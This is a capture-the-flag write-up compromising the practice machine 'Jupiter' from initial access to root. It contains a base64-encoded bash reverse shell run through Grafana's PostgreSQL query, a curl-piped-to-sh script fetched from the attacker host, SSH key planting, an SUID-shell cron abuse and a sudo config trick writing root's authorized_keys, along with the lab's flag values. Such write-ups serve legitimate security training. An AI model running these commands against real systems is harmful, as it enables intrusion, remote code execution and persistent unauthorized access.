Jupiter
Recon
HTTP (80)

Do subdomain enumeration, because most probably there's nothing on this domain.
└─$ domain='jupiter.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fl 8
kiosk [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 103ms]
Grafana
kiosk
subdomain is serving Grafana
.

Grafana is usually running internally and by default it's making queries to display data, we can take advantage of that.

"rawSql":"COPY (SELECT '') to PROGRAM 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljk5LzQ0NDQgMD4mMQ==|base64 -d|bash'",
└─$ listen
Ncat: Connection from 10.129.229.15:59966.
postgres@jupiter:/var/lib/postgresql/14/main$ id
uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert)
SSH (22)
Because the postgres service user has bash
as the shell we can drop ssh
keys and upgrade session.
└─$ ssh-keygen -f id_rsa -P x -q
└─$ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF0AWmf+WMrlgD4A9YgkwRTufMP5WRWWq0BbAxxnfLJ woyag@kraken
---
postgres@jupiter:/var/lib/postgresql$ mkdir .ssh
postgres@jupiter:/var/lib/postgresql$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF0AWmf+WMrlgD4A9YgkwRTufMP5WRWWq0BbAxxnfLJ woyag@kraken' > .ssh/authorized_keys
---
└─$ ssh postgres@jupiter.htb -i id_rsa
Privilege Escalation (juno)
postgres@jupiter:~/14/main$ curl 10.10.14.99/lp.sh|sh|tee /tmp/lp.log
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 1132/postgres
tcp6 0 0 :::22 :::* LISTEN -
...
╔══════════╣ Users with console
jovian:x:1001:1002:,,,:/home/jovian:/bin/bash
juno:x:1000:1000:juno:/home/juno:/bin/bash
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
root:x:0:0:root:/root:/bin/bash
...
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/snap/bin/lxc
/usr/bin/make
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/ping
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
...
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/dev/shm/network-simulation.yml
/dev/shm/PostgreSQL.3102704968
postgres@jupiter:~/14/main$ curl 0:3000 -s | grep -q grafana; echo $?
0
postgres@jupiter:~/14/main$ curl 0:8888 -Ls | grep sys_info
sys_info = {"notebook_version": "6.5.3", "notebook_path": "/usr/local/lib/python3.10/dist-packages/notebook", "commit_source": "", "commit_hash": "", "sys_version": "3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0]", "sys_executable": "/usr/bin/python3", "sys_platform": "linux", "platform": "Linux-5.15.0-72-generic-x86_64-with-glibc2.35", "os_name": "posix", "default_encoding": "utf-8"};
3000 is Grafana and 8888 seems to be Jupyter Notebooks server.
└─$ ssh postgres@jupiter.htb -i id_rsa -L 8888:0:8888

/dev/shm
is usually empty, but linpeas showed that it's not
postgres@jupiter:/dev/shm$ ls -alh
total 32K
drwxrwxrwt 3 root root 100 Nov 27 23:20 .
drwxr-xr-x 20 root root 4.0K Nov 27 22:38 ..
-rw-rw-rw- 1 juno juno 815 Mar 7 2023 network-simulation.yml
-rw------- 1 postgres postgres 27K Nov 27 22:38 PostgreSQL.3102704968
drwxrwxr-x 3 juno juno 100 Nov 27 23:20 shadow.data
postgres@jupiter:/dev/shm/shadow.data$ find . ! -empty -type f -ls
612 4 -rw-rw-r-- 1 juno juno 1929 Nov 27 23:22 ./sim-stats.json
586 4 -rw-rw-r-- 1 juno juno 1889 Nov 27 23:22 ./processed-config.yaml
593 4 -rw-r--r-- 1 juno juno 177 Nov 27 23:22 ./hosts/server/server.python3.10.1000.stderr
609 4 -rw-rw-r-- 1 juno juno 1 Nov 27 23:22 ./hosts/client3/client3.curl.1000.exitcode
600 4 -rw-r--r-- 1 juno juno 548 Nov 27 23:22 ./hosts/client3/client3.curl.1000.stdout
608 4 -rw-rw-r-- 1 juno juno 1 Nov 27 23:22 ./hosts/client2/client2.curl.1000.exitcode
596 4 -rw-r--r-- 1 juno juno 548 Nov 27 23:22 ./hosts/client2/client2.curl.1000.stdout
610 4 -rw-rw-r-- 1 juno juno 1 Nov 27 23:22 ./hosts/client1/client1.curl.1000.exitcode
604 4 -rw-r--r-- 1 juno juno 548 Nov 27 23:22 ./hosts/client1/client1.curl.1000.stdout
While browsing the files in that directory nothing was found, but sometimes the files got deleted. If we observe this we can can see it being updated every 2minutes.
postgres@jupiter:/dev/shm$ ls -Alh --time-style=full-iso
total 32K
-rw-rw-rw- 1 juno juno 815 2023-03-07 12:28:32.414576153 +0000 network-simulation.yml
-rw------- 1 postgres postgres 27K 2024-11-27 22:38:22.579999746 +0000 PostgreSQL.3102704968
drwxrwxr-x 3 juno juno 100 2024-11-27 23:26:02.007919876 +0000 shadow.data
postgres@jupiter:/dev/shm$ ls -Alh --time-style=full-iso
total 32K
-rw-rw-rw- 1 juno juno 815 2023-03-07 12:28:32.414576153 +0000 network-simulation.yml
-rw------- 1 postgres postgres 27K 2024-11-27 22:38:22.579999746 +0000 PostgreSQL.3102704968
drwxrwxr-x 3 juno juno 100 2024-11-27 23:28:01.303916543 +0000 shadow.data
postgres@jupiter:/dev/shm$ ls -Alh --time-style=full-iso
total 32K
-rw-rw-rw- 1 juno juno 815 2023-03-07 12:28:32.414576153 +0000 network-simulation.yml
-rw------- 1 postgres postgres 27K 2024-11-27 22:38:22.579999746 +0000 PostgreSQL.3102704968
drwxrwxr-x 3 juno juno 100 2024-11-27 23:30:01.571913184 +0000 shadow.data
network-simulation.yml
should be the config for cronjob, we have write permissions so let's go privesc.
postgres@jupiter:/dev/shm$ vim network-simulation.yml
postgres@jupiter:/dev/shm$ cat network-simulation.yml
...
hosts:
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
- path: /usr/bin/install
args: -m4777 /bin/bash /tmp/junobash
start_time: 3s
...
postgres@jupiter:/dev/shm$ ls -lah /tmp/junobash
-rwsrwxrwx 1 juno juno 1.4M Nov 27 23:34 /tmp/junobash
postgres@jupiter:/dev/shm$ /tmp/junobash -p
junobash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
junobash-5.1$ mkdir /home/juno/.ssh
junobash-5.1$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF0AWmf+WMrlgD4A9YgkwRTufMP5WRWWq0BbAxxnfLJ woyag@kraken' >> /home/juno/.ssh/authorized_keys
User.txt
juno@jupiter:~$ cat user.txt
fc6bed628047fcfb7684fa3a7e6fe5b4
Privilege Escalation (Jovian)
juno
has access to /opt/*
directory.
juno@jupiter:/opt/solar-flares$ ls -Alh
total 2.6M
-rw-rw---- 1 jovian science 632K Mar 8 2023 cflares.csv
-rw-rw---- 1 jovian science 692K Mar 8 2023 flares.csv
-rw-rw---- 1 jovian science 10K Mar 8 2023 flares.html
-rw-r----- 1 jovian science 229K Mar 8 2023 flares.ipynb
drwxrwxr-x 2 jovian science 4.0K May 4 2023 .ipynb_checkpoints
drwxrwxr-t 2 jovian science 4.0K Nov 27 22:38 logs
-rw-rw---- 1 jovian science 987K Mar 8 2023 map.jpg
-rw-rw---- 1 jovian science 27K Mar 8 2023 mflares.csv
-rwxr-xr-x 1 jovian science 147 Mar 8 2023 start.sh
-rw-rw---- 1 jovian science 2.0K Mar 8 2023 xflares.csv
juno@jupiter:/opt/solar-flares$ ls logs
jupyter-2023-03-08-14.log jupyter-2023-03-09-11.log jupyter-2023-03-10-42.log jupyter-2023-05-04-04.log jupyter-2023-05-04-20.log jupyter-2023-05-04-57.log jupyter-2023-05-30-53.log
jupyter-2023-03-08-36.log jupyter-2023-03-09-24.log jupyter-2023-04-13-43.log jupyter-2023-05-04-06.log jupyter-2023-05-04-31.log jupyter-2023-05-05-03.log jupyter-2023-06-06-39.log
jupyter-2023-03-08-37.log jupyter-2023-03-09-59.log jupyter-2023-04-14-27.log jupyter-2023-05-04-07.log jupyter-2023-05-04-43.log jupyter-2023-05-05-54.log jupyter-2023-06-07-05.log
jupyter-2023-03-08-38.log jupyter-2023-03-10-25.log jupyter-2023-05-04-02.log jupyter-2023-05-04-08.log jupyter-2023-05-04-45.log jupyter-2023-05-30-46.log jupyter-2024-11-27-38.log
juno@jupiter:/opt/solar-flares$ ls logs -t1 | head -1 | xargs -I{} grep token logs/{}
[I 22:38:24.244 NotebookApp] http://localhost:8888/?token=45f6c7c1d936dc83eb1a257a1bd6139d29fac31592ba3632
[I 22:38:24.244 NotebookApp] or http://127.0.0.1:8888/?token=45f6c7c1d936dc83eb1a257a1bd6139d29fac31592ba3632
http://localhost:8888/?token=45f6c7c1d936dc83eb1a257a1bd6139d29fac31592ba3632
or http://127.0.0.1:8888/?token=45f6c7c1d936dc83eb1a257a1bd6139d29fac31592ba3632
Get the latest token from Logs.

Escalate privileges

jovianbash-5.1$ mkdir /home/jovian/.ssh
jovianbash-5.1$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF0AWmf+WMrlgD4A9YgkwRTufMP5WRWWq0BbAxxnfLJ woyag@kraken' >> /home/jovian/.ssh/authorized_keys
I wasn't able to authenticate via this method, because created files also belonged to Juno user, just run these system calls in os.system
and then try SSH.
Privilege Escalation (root)
└─$ ssh jovian@jupiter.htb -i id_rsa
jovian@jupiter:~$ id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
I think the binary is Satellite Tracking with Linux this?
jovian@jupiter:~$ find / -name '*sattrack*' -ls 2>/dev/null
247 4 drwxr-xr-x 2 root root 4096 May 4 2023 /usr/local/share/sattrack
1744 1088 -rwxr-xr-x 1 root root 1113632 Mar 8 2023 /usr/local/bin/sattrack
jovian@jupiter:~$ cd /usr/local/share/sattrack
jovian@jupiter:/usr/local/share/sattrack$ ls -Alh
total 16M
-rw-r--r-- 1 root root 610 Mar 8 2023 config.json
-rw-r--r-- 1 root root 15M Mar 8 2023 earth.png
-rw-r--r-- 1 root root 301K Mar 8 2023 map.json
jovian@jupiter:/usr/local/share/sattrack$ cat config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": { "name": "LORCA", "lat": 37.6725, "lon": -1.5863, "hgt": 335.0 },
"show": [ ],
"columns": [ "name", "azel", "dis", "geo", "tab", "pos", "vel" ]
}
jovian@jupiter:~$ strace -e trace='newfstatat,write' sattrack 2>&1 | grep -v AT_EMPTY_PATH
newfstatat(AT_FDCWD, "/etc/gnutls/config", 0x7ffc01f5a720, 0) = -1 ENOENT (No such file or directory)
write(1, "Satellite Tracking System\n", 26Satellite Tracking System
) = 26
newfstatat(AT_FDCWD, "/tmp/config.json", 0x7ffc01f5a900, 0) = -1 ENOENT (No such file or directory)
write(1, "Configuration file has not been "..., 57Configuration file has not been found. Please try again!
) = 57
+++ exited with 1 +++
The binary is looking for configuration in the temporary directory.
It looks like we have arbitrary write permissions; tleroot
is where files will be downloaded, tlesources
is the urls to download files from.

After some testing we are able to write directly to root, because of sudo. One thing to keep in mid is that directory is created if doesn't exist, but tleroot
must end with a slash!
jovian@jupiter:/usr/local/share/sattrack$ cat /tmp/config.json
{
"tleroot": "/root/.ssh/",
...
"tlesources": [
"http://10.10.14.99/authorized_keys"
],
...
}
jovian@jupiter:/usr/local/share/sattrack$ sudo /usr/local/bin/sattrack
---
└─$ ssh root@jupiter.htb -i id_rsa
root@jupiter:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
e0f8cff44322875fe7a2eb9db07a7a2d
Last updated